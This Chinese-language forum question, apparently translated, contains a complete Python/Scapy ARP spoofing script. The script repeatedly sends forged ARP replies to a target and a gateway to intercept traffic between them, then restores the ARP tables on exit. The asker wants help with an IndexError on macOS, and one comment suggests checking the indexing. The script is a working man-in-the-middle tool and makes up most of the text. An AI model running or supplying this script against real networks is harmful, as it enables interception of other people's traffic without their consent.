【发布时间】:2020-03-16 13:28:49
【问题描述】:
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', dest='target_ip', help='[+] IP of target')
parser.add_argument('-g', '--gateway', dest='gateway_ip', help='[+] IP of gateway')
return parser.parse_args()
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
options = get_arguments()
sent_packets_count = 0
try:
while True:
spoof(options.target_ip, options.gateway_ip)
spoof(options.gateway_ip, options.target_ip)
sent_packets_count = sent_packets_count + 2
print('\r[+] Packets sent : ' + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
restore(options.target_ip, options.gateway_ip)
restore(options.gateway_ip, options.target_ip)
print('\n[+] Restoring ARP tables...\n[+] Quitting...')
完整代码的更新问题
在 macOS 上使用此功能时遇到问题。在我看来,我的索引是正确的,所以想知道这是否是 macOS 兼容性问题?获得标准 IndexError: list index out of range ?我的索引对任何人来说都是错误的吗?
【问题讨论】:
-
您是否尝试过检查answered_list[0]?你确定你没有忘记上一行末尾的 [0] 吗?
标签: python python-2.7 indexing